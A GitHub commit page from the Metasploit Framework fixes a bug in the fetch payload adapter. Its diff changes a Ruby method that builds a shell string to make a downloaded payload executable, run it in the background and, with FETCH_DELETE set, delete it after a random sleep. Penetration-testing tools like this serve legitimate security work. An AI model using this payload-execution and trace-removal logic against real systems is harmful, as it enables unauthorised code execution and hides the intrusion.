Skip to content

Commit

Permalink
Land #19719, Fix bug in fetch payload when FETCH_DELETE set to true
Browse files Browse the repository at this point in the history
  • Loading branch information
msutovsky-r7 committed Dec 17, 2024
2 parents 703ed44 + 0334109 commit 4a13b09
Showing 1 changed file with 3 additions and 3 deletions.
6 changes: 3 additions & 3 deletions lib/msf/core/payload/adapter/fetch.rb
Original file line number Diff line number Diff line change
Expand Up @@ -202,9 +202,9 @@ def _execute_win
end

def _execute_nix
cmds = "; chmod +x #{_remote_destination_nix}"
cmds << "; #{_remote_destination_nix} &"
cmds << ";rm -rf #{_remote_destination_nix}" if datastore['FETCH_DELETE']
cmds = ";chmod +x #{_remote_destination_nix}"
cmds << ";#{_remote_destination_nix}&"
cmds << "sleep #{rand(3..7)};rm -rf #{_remote_destination_nix}" if datastore['FETCH_DELETE']
cmds
end

Expand Down

0 comments on commit 4a13b09

Please sign in to comment.